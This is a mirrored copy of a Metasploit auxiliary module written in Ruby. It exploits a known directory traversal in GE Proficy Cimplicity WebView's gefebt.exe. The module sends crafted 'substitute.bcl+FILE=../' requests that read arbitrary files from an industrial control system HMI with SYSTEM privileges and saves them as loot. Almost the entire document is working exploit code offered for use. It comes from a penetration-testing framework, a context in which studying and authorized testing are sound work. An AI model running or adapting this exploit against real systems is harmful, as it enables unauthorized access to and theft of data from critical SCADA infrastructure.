Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb
19852 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'uri'
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Auxiliary::Report
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',
17
'Description' => %q{
18
This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the
19
gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM
20
privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.
21
},
22
'Author' => [
23
'Unknown', # Vulnerability discovery
24
'juan vazquez' # Metasploit module
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'CVE', '2013-0653' ],
29
[ 'OSVDB', '89490' ],
30
[ 'BID', '57505' ],
31
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]
32
],
33
'DisclosureDate' => '2013-01-22',
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [IOC_IN_LOGS],
37
'Reliability' => []
38
}
39
)
40
)
41
42
register_options(
43
[
44
Opt::RPORT(80),
45
OptString.new('TARGETURI', [true, 'Path to CimWeb', '/CimWeb']),
46
OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
47
# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb
48
OptInt.new('DEPTH', [true, 'Traversal depth', 5])
49
]
50
)
51
end
52
53
def normalize_uri(*strs)
54
new_str = strs * '/'
55
56
new_str = new_str.gsub!('//', '/') while new_str.index('//')
57
58
# Makes sure there's a starting slash
59
unless new_str[0, 1] == '/'
60
new_str = '/' + new_str
61
end
62
63
new_str
64
end
65
66
def target_uri
67
# In case TARGETURI is empty, at least we default to '/'
68
u = datastore['TARGETURI']
69
u = '/' if u.nil? || u.empty?
70
URI(u)
71
rescue ::URI::InvalidURIError
72
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
73
raise Msf::OptionValidateError, ['TARGETURI']
74
end
75
76
def my_basename(filename)
77
return ::File.basename(filename.gsub('\\', '/'))
78
end
79
80
def is_proficy?
81
connect
82
req = "GET #{normalize_uri(target_uri.path, 'index.html')} HTTP/1.0\r\n\r\n"
83
sock.put(req)
84
res = sock.get_once
85
disconnect
86
87
return false unless res
88
89
res.to_s.include?('gefebt.exe')
90
end
91
92
# We can't use the http client msf mixin because the Proficy Web server
93
# return a malformed HTTP response with the file contents, there aren't
94
# two new lines (but one) between the HTTP headers and the body content.
95
def read_file(file)
96
travs = ''
97
travs << '../' * datastore['DEPTH']
98
travs << file
99
100
print_status("#{@peer} - Retrieving file contents...")
101
102
connect
103
req = "GET #{normalize_uri(target_uri.path, 'gefebt.exe')}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"
104
sock.put(req)
105
res = sock.get_once
106
disconnect
107
108
return unless res
109
110
if res =~ %r{HTTP/1\.0 200 OK}
111
return res
112
else
113
return nil
114
end
115
end
116
117
def run
118
@peer = "#{rhost}:#{rport}"
119
120
print_status("#{@peer} - Checking if it's a GE Proficy Application...")
121
122
unless is_proficy?
123
print_error("#{@peer} - GE proficy not found")
124
return
125
end
126
127
print_good("#{@peer} - Check successful")
128
129
contents = read_file(datastore['FILEPATH'])
130
if contents.nil?
131
print_error("#{@peer} - File not downloaded")
132
return
133
end
134
135
file_name = my_basename(datastore['FILEPATH'])
136
path = store_loot(
137
'ge.proficy.traversal',
138
'application/octet-stream',
139
rhost,
140
contents,
141
file_name
142
)
143
print_good("#{rhost}:#{rport} - File saved in: #{path}")
144
end
145
end
146
147